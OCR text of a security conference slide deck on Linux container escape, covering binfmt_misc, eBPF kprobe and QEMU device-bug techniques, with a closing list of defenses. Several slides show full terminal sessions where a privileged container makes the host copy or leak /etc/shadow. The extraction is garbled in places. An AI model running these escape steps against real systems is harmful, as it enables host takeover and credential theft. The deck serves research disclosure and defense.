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01| Introduction to container escape
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Container introduction

® Docker: OS-level virtualization in 2013

® Abstraction at application layer

® Lightwegiht, Standard, Isolation

app1 app 2

bins/libs bins/libs

Docker Engine

Host OS

Container escape in 2021 | Li Qiang
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Docker introduction

® namespaces: isolation

® cgroups: resource control

® UnionFS: image share and distribution

Linux kernel ‘namespace | PID ”MNTI | NET Il I \
]

]
(M [ ’

cgroupl cpu ” memory ” device I

storagel aufs ” overlayfs ” btrfs I dC ker

securityl cap ” seccomp u SELinux I

Container escape in 2021 | Li Qiang
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Container security: share the kernel

® No free lunch: performance and security trade-off

® Weak isolation between containers/kernel

® Share the same kernel

Container escape in 2021 | Li Qiang

container

container container
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Container escape

® C(Container engine vulnerabilities

o o o0 container container
® Privileged CAP and sensitive mounts oo o
\ \
® Kernel vulnerabilities ( ! |
' app 1 . app 2 |
I [ I [
[ [
[ [
[ [
\ / \ /
Misconfigured ~ ok _esgape ————— v
CAP and mounts

Docke Engine

Vulnerable code

Host OS

Container escape in 2021 | Li Qiang
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Privileged CAP e ———— R

® CAP SYS MODULE
® CAP SYS ADMIN |
® CAP DAC READ SEARCH read-only

8
ge)
n
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S
=
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o

Amm aEm EEE EEm s

read-write

cap_dac |

cap_sys_module

/proc/sys
Host O
Container escape in 2021 [ L1 Qiang A
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Sensitive mounts

® sysfs/procfs/tracingfs/debugfs....

Container escape in 2021 | Li Qiang

read handler write handler

kernel
infomration

control kernel
behavior

kernel core
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Usermode helper program:

® Run program from Linux kernel

User space

process

call usermodehelper

I /bin/cat l

ec program

Linux kernel

Container escape in 2021 | Li Qiang
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Escape through Usermode

. Container
® C(: write a helper (test.sh)
® (: write helper path to kernel
® H: host trigger helper execve / container filesystem
® H: helper read /etc/shadow  /proc/s}s/xxx/helper
. . . l /tmp/test.sh l cat /etc/shadow >
® H: helper write to container file fvar/lib/xxx/difftmp/shadow
® C: read the host /etc/shadow T
! ; /var/lib/docker/overlay2/xxx/diff

helper=/var/lib/xxx/diff/tmp/test.sh

Linux kernel

Container escape in 2021 [ L1 Qiang A
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Usermode helper: some example

® /proc/sys/kernel/modprobe
/proc/sys/kernel/core pattern
/sys/kernel/uevent helper
/sys/fs/cgroup/*/release agent

Container escape in 2021 | Li Qiang

/proc/sys/ts/binfmt_misc/ -- talked a lot, but no exploits
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02| New container escape methods
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Container escape through binfmt misc

Container escape in 2021 [ L1 Qiang A
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binfmt misc introduction

® proc filesystem
® Userspace can register file handler
® Allow arbitrary file format to be executable

‘ dos app \ ‘ java app \ ‘ any app \

/proc/sys/fs/binfmt misc

Linux Hernel

‘ /usr/bin/dosexec\ ‘ /usr/../javawrapper \ ‘ xxexec \
Container escape 1 2021 | Li Qiang
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binfmt_ misc interface

root@xxx:/home/test# touch test_fmt_intp
root@xxx:/home/test# echo aaa > test_fmt

root@xxx:/home/test# echo '#!/bin/sh' > test_fmt_intp
root@xxx:/home/test# echo '' >> test_fmt_intp

root@xxx:/home/test# echo 'echo test_fmt' >> test_fmt_intp
root@xxx:/home/test# chmod +x test_fmt_intp

root@xxx:/home/test# echo ':test_fmt:M::\x61\x61\x61::/home/test/test_fmt_intp:'
> /proc/sys/fs/binfmt_misc/register

root@xxx:/home/test# cat /proc/sys/fs/binfmt_misc/test_fmt

enabled

interpreter /home/test/test_fmt_intp

flags:

offset 0

magic 61616

root@xxx:/home/test# chmod +x test_fmt
root@xxx:/home/test# cat test_fmt

aaa

root@xxx:/home/test# ./test_fmt
test_fmt

Container escape in 2021 | Li Qiang
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binfmt misc internals: usage

® register: /proc/sys/ts/binfmt_misc/register
® show: /proc/sys/ts/binfmt misc/<name>
® clean: echo -1 > /proc/sys/ts/binfmt_misc/<name>

-offset

‘ .name \

E: extehsion

itest fmt:M::\x61\x61\x61::/home/test/test fmt intp:

Container escape in 2021 | Li Qiang
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binfmt misc internals: kernel

® Linux kernel maintains a formats list
® Search the list when load executable file
® C(all load binary callback when found

=» formats

module

load binary

load_shlib

\
LIIII

Container escape in 2021 | Li Qiang
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binfmt misc internals: register an entry

® The ‘misc_format’ entry is insert into the head of ‘formats’
® If two handler match the same executable file, the misc_format is selected

= formatse

misc_format

l
I
1
i

/
Container escapé an 2021 | L1 Quang
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Container escape through binfmt misc:

® Insert a new executable handler for ELF/bash/...

process

Container

container filesystem

proc/sys/fs/binfmt_fnisc/register | jmprestsn ] | cat Jete/shadow > /var/lib/xxx/diff/tmp/shadow

I shadow l
v ; /var/lib/docker/overlay2/xxx/diff

handler=/var/lib/xxx/diff/tmp/test.sh

Linux kernel
Container escape in 202T | LT Qiang
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Container escape through binfmt_misc: pocl

register binfmt misc

offset: 0
magic: #!/bin/sh

interpreter: /var/lib/xxx/ dilf/tmp/test.sh

process

Container

/tmp/test.sh

test host.sh

#!/bin/sh
echo aaa

[1/bin/bash

cat /etc/shadow > /var/lib/xxx/diff/tmp/shadow

/var/lib/docker/overlay2/xxx/diff

A
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Container escape through binfmt_misc: pocl
® Replace ‘#!/bin/sh’

root@test-Standard-PC-1440FX-PIIX-1996:/home/test# docker run -it --security-opt apparmor:unconfined
root@dc3217f61c00@:/# mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc

root@dc3217f61c00: /# mount -o rw,remount /proc/sys

root@dc3217f61c00:/# cd /tmp

root@@c3217f61c00@:/tmp# mount | grep upperdir

overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/1/HRFWQ6623JEWMXGUOSL3BGXIKS:/var/1ib/docker/overlay2/1/3KOBHEQAFGIQRGOSL
KLS26WQ, upperdirs:/var/1ib/docker/overlay2/c63327146051def4118a86a1d820a33fe8c3eb241a4b27347960a647c2776edc/diff,workdir=/var/1lib/docker/overlay2/c4
327146051def4118u86uiu8Z20u33Te8C3enZ41udD2 73479600047 CZ77T08UC/ WOT'K)

root@@c3217f61c00@:/tmp# echo '#!/bin/bash' > test.sh

root@dc3217f61c00@: /tmp# echo '' >> test.sh

root@dc3217f61c00: /tmp# echo 'cat /etc/shadow > /var/lib/docker/overlay2/c63327146051def4118a86a1d820a33fe8c3eb241a4b27347960a647c2776edc/diff/tmp
hadow' >> test.sh

root@dc3217f61c00: /tmp# chmod +x test.sh

root@@c3217f61c00:/tmp# cat test.sh

#!/bin/bash

--cap-add=SYS_ADMIN ubuntu bash

cat /etc/shadow > /var/lib/docker/overlay2/c63327146051def4118a86a1d820a33fe8c3eb241a4b27347960a647c2776edc/diff/tmp/shadow
root@@c32171f61c00:/tmp# echo ':test:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68: | /var/1lib/docker/overlay2/c63327146051def4118a86a1d820a33fe8c3eb241a4b]
347960a647c2776edc/diff/tmp//test.sh:' > /proc/sys/fs/binfmt_misc/register

root@test-Standard-PC-1440FX-PIIX-1996:/home/test# cat test_host.sh
#1/bin/sh

root@dc3217f61c@0: /tmp# 1s
shadow test.sh
root@dc3217f61c@0:/tmp# cat shadow
root:!.ffhd:Q-99999:7:::
daemon: * el = BSRA9:7) : 2
bin:*:1§ M. .o >u209:7: I

echo aaa
root@test-Standard-PC-1440FX-PIIX-1996:/home/test# chmod +x test_host.sh
root@test-Standard-PC-1440FX-PIIX-1996:/home/test# ./test_host.sh

root@test-Standard-PC-144QFX-PIIX-1996: /home/test# |

22
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Container escape through binfmt misc: poc2

® Replace ‘Is’

root@test-Standard-PC-1440FX-PIIX-1996:/home/test# docker run -it --security-opt apparmor:unconfined --cap-add=SYS_ADMIN ubuntu bash
root@cf4f7b7ddd3f:/# mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc

root@cf4f7b7ddd3f:/# mount -o rw,remount /proc/sys

root@cf4f7b7ddd3f:/# cd /tmp

root@cf4f7b7ddd3f:/tmp# mount | grep upperdir

overlay on / type overlay (rw,relatime,lowerdir=/var/1lib/docker/overlay2/1/RDZSLLDEDTSRNS5UWS6NLIPI4E:/var/1ib/docker/overlay2/1/3KOBHEQ
AFGIQRGOSL3EKLS26WQ, upperdir=/var/1lib/docker/overlay2/db@5233908984d91a78d9f9ed5666e35e67d3fda513cc51b80b67b0dc7bed29/diff,workdir=/var
/1ib/docker/overlay2/db@5233908984d91a78d9f9ed5666e35e67d3fda513cc51b80b67fb0dc7bed29/work)

root@cf4f7b7ddd3f:/tmp# echo '#!/bin/bash' > test.sh

root@cf4f7b7ddd3f:/tmp# echo '' >> test.sh

root@cf4f7b7ddd3f:/tmp# echo 'cat /etc/shadow > /var/lib/docker/overlay2/db05233908984d91a78d9f9ed5666e35e67d3fda513cc51b80b67fb0@dc7bed?2
9/diff/tmp/shadow’ >> test.sh

root@cf4f7b7ddd3f:/tmp# cat test.sh

#!/bin/bash

cat /etc/shadow > /var/1lib/docker/overlay2/db@5233908984d91a78d9f9ed5666e35e67d3fda513cc51b80b67fb0dc7bed29/diff/tmp/shadow
root@cf4f7b7ddd3f:/tmp# chmod +x test _sh

root@cf4f7b7ddd3f:/tmp# echo ':test:M:208:\xdd\x35::/var/1lib/docker/overlay2/db@5233908984d91a78d9f9ed5666e35e67d3fda513cc51b80b67fb0dc7
bed29/diff/tmp/test.sh:' > /proc/sys/fs/binfmt_misc/register

root@cf4f7b7ddd3f:/tmp# 1s

test.sh

root@cf4f7b7ddd3f:/tmp# 1s

shadow test.sh

root@cf4f7b7ddd3f:/tmp# cat shadow

root:!:lad e MWl 7: : :

000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000000D0 DO 35 €0 00 V060 @2 201 DI 35 09 Q1 109/ V€00 00

000000OED 00 10 00 00 00 00 00 00 01 00 V0 V0 05 00 00 00
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Container escape through eBPF

Container escape in 2021 [ L1 Qiang A
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eBPF introduction

® Originated from ¢BPF in 1992
Initially used for Packet Filtering

eBPF to kernel like JavaScript to browser

@
® Add restricted code to kernel at runtime
@
@

Growing very fast in kernel

A eBPF

Container escape in 2021 | Li Qiang

A



eBPF usecases

® Networking
® Tracing
® Runtime security

oo
o0

Cilium

Container escape in 2021 | Li Qiang
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eBPF architecture

programs C source maps

| bytecode I

user space bpf syscall

kernel space

networking

verifier
JIT compiler

Maps

eBPF
program

eBPF helper

Container escape in 2021 | Li Qiang
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eBPF core concepts

® eBPF program type: where eBPF code will be executed

® ¢BPF map: data between kernel and userspace
® eBPF verifier: make sure eBPF program has no harm to

kernel
® ¢BPF helper: library function that eBPF program can call

Container escape in 2021 [ L1 Qiang A
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kprobe and eBPF

® Kkprobe: instrumentation at almost any kernel code address

® Kkprobe and Kkretprobe

® ¢BPFK program can be attached to kprobe

user Space

function

Container escape in 2021 | L1

eBPF program

kretprobe

Monitor

trace pipe

perf buffer
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Container and eBPF

® eBPF/Kkprobe is not aware of cgroups and namespaces
® CAP SYS ADMIN/BPF container can load eBPF

program
® Container can read/control system-level behavior

Container escape in 2021 [ L1 Qiang A



| SIN-2021 | ¢

_—t

Container escape through eBPF: one example

‘ cat /etc/shadoow \ ‘ container \

: WeBPF

vfs read

/etc/shadow

Container escape in 2021 | Li Qiang
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Container escape through eBPF: poc

.
cat /ClC/Sl ladOOW amer
/ 3 / Ernel/tlaCl’Ilg/trace_pipe

memory buffer 13

\ 4

WepP

rOOt: XXXXXX vfs read kretprobe

bpf probe read(buf, r13)
bpf trace printk(buf)

daemon:xxx

/etc/shadow

Container escape in 2021 | Li Qiang
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Container escape throu

root@test-Standard-PC-1440FX-PIIX-1996:/home/test/linux-5.11/samples/bpf# docker run -it --security-opt apparmor:unconfined
ubuntu bash

root@cd205d153de4: /if mount -t tracefs nodev /sys/kernel/tracing

root@cd205d153de4:/if echo 'r:vfs_read vfs_read' >> /sys/kernel/tracing/kprobe_events

root@cd205d153de4:/if cat /sys/kernel/tracing/events/kprobes/vfs_read/id

1508

root@cd205d153de4:/# cd /test/linux-5.11/samples/bpf/

root@cd205d153de4: /test/1linux-5.11/samples/bpf# ./loader

--cap-add=SYS_ADMIN -v /home/test:/test

bf
16 00 00 00 00 00 00 b7
01 00 00 @a 00 00 00 6b

- - 0 OO0 OO0 G0

root@test-Standard-PC-1440FX-PIIX-1996:/home/test/1inux-5.11/samples/bpf# docker exec -it cd2@ bash

root@cd205d153de4:/# cat /sys/kernel/tracing/trace_pipe
<...>-68027 [015] d... 17905.159637: bpf_trace_printk: text: root:!:18785:0:99999:7:::

daemon

<...>-68027 [015] d... 17905.159650: bpf_trace_printk: text: :*:18737:0:95999:7:::
bin:*:1873

<...>-68027 [015] d... 17905.159651: bpf_trace_printk: text: 7:0:99999:7:::
Sys:*:18737:0:999

root@test-Standard-PC-1440FX-PIIX-1996:/home/test# ./poc
a = 0x556dc4dd32a0
p1d=68027

ret = 1513
root@test-Standard-PC-1440FX-PIIX-1996:/home/test# cat /etc/shadow
root:!:18785:0:99999:7:::

daemon:*:18737:0:99999:7:::
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Container escape from VMM

Container escape in 2021 [ L1 Qiang A
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Container in VM

® VM + Container is more popular Ji

container container
® Can benefit from both architecture ‘ \ ‘ \

network I—I block

device device

Linux kernel

Container escape in 2021 [ L1 Qiang A
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VM attack surface: device

® Interface between VM OS and gemu devices
® VM OS can write/read a lot of data to device
® Various device: a lot of vulnerability

VM
device network d§Sk vga
driver driver driver
emulation

L 4

Container escape in 2021 | Li Qiang

physical ]
driver MMIO/PIO
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Device and driver sysfs

® Virtual filesystem like procts

® Usually mounted at /sys

® C(Container device&&driver info
and can control device behavior

Container escape in 2021 | Li Qiang

/sys/devices/pci0000:17
|-— 0000:17:00.0

AN

|-— _class :

Lentis | pci config, rw
|-—— device

|-— enable

|-— irq

|-— local_cpus

| -— remove

|-— resource

| -—|resource@

“fresoorea| MMIO, rw

| ——|resource2
|—— revision
|-— rom

| -—— subsystem_device
| -— subsystem_vendor

‘—— vendor

A
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Container escape through VMM vulnerabilities

® C(Container can interact with device

® Virtual device is vulnerable

® C(Container escape through VM
device vulnerability

Container escape in 2021 | Li Qiang

VM

container

/sys/ deviles/pcixxxx

l

! device driver \

| emulat®d device

(vulnerable)

qemu '
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Container escape through VMM vulnerabilities: poc

® scavenger from Gaoning Pan, Xingwei Lin
® Just a PoC change from here:
https://github.com/hustdebug/scavenger

Container escape in 2021 [ L1 Qiang A
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Container escape through VMM vulnerabilities: poc

root@test-Standard-PC-1440FX-PIIX-1996:~/scave
_ADMIN -v /home/test:/test ubuntu bash
root@2cb504dcdaf3:/# apt update -qq && apt install -qq gcc make g++

AC

root@2cb504dcdaf3:/# apt update -gg && apt install -gg gcc make g++ -

nger/exploit# docker run -it --security-opt apparmor:unconfined --cap-add=SYS

root@367fde56c5e6: /test/scavenger/exploit# make
CC -g -C -0 exp.o exp.c

cC -g -C -0 common.o common.c

g++ -std=c++11 -g -g -0 exp exp.o common.o

Program received signal SIGSEGV, Segmentation fault.
0x0000555555c93531 in object_unref (obj=0x7fd200000000) at qgom/object.c:11]
1124 g_assert(obj->ref > 0);

X Missing separate debuginfos, use: debuginfo-install glib2-2.56.1-4.alios?.
root@367fde56c5e6:/test/scavenger/exp101t# -/exp -3.0.13-18.1.al10s7.x86_64 libgcc-4.8.5-4.1.alios7.x86_64 libmount-2.23.2-(
Segmentation fault (core dumped) _ 1057.x86_64 Tibuuidé2 ,23:2-61+2.ali0s7 x86,64-pcre-8.32-15.1.alios?. x86_64
root@367fde56c5e6: /test/scavenger/exploit# mount -o rw,remount /sys (gdb) bt

root@367fdeS6c5e6: /test/scavenger/exploith—7exXp #0 0x0000555555c93531 in object_unref (obj=0x7fd200000000) at gom/object.q
I #1 0x0000555555a009eae in gemu_sglist_destroy (qsg=0x555557a5f8c@) at dma-
#2 Ox000055555506919b in nvme_map_prp (qsg=0x555557a5f8c@, 1ov=0x555557a5

at hw/block/nvme.c:220

#3 @0x0000555555a69bed in nvme_rw (n=0x5555576f6190, ns=0x5555576fdf40, cmd
#4  Qx0000555555a69e4a in nvme_io_cmd (n=0x5555576f6190, cmd=0x7fffffffdf4(
#5 0x0000555555a6b526 in nvme_process_sq (opaque=0x55555717d5f@) at hw/blq
#6 0x0000555555ddb812 in timerlist_run_timers (timer_list=0x5555569b0c00)
#7 0x0000555555ddb8b3 in gemu_clock_run_timers (type=QEMU_CLOCK_VIRTUAL) ¢
#8 @x0000555555ddbb88 in gemu_clock_run_all_timers () at util/gemu-timer.«
#9 0x0000555555ddc339 in main_loop_wait (nonblocking=0) at util/main-loop
#10 0x0000555555974b45 in gemu_main_loop () at /nvme/pangpei.lq/devel/docke
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03| The defense

Container escape in 2021 | Li Qiang
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binfmt misc escape

® Secure container(kata, gVisor)
® Drop CAP SYS ADMIN(can’t remount)
® Usermode helper whitelist
(CONFIG_STATIC USERMODEHELPER PATH)
® LSM(Apparmor, SELinux)

Container escape in 2021 [ L1 Qiang A
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eBPFK escape

® Drop CAP _SYS ADMIN(can’t remount)
® Disable unprivileged container load eBPF
® Signed eBPF program (in progress)

Container escape in 2021 [ L1 Qiang A
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VMM escape

® Secure container(kata, gVisor)
® Drop CAP _SYS ADMIN(can’t remount)
® Fix VMM vulnerability

Container escape in 2021 [ L1 Qiang A
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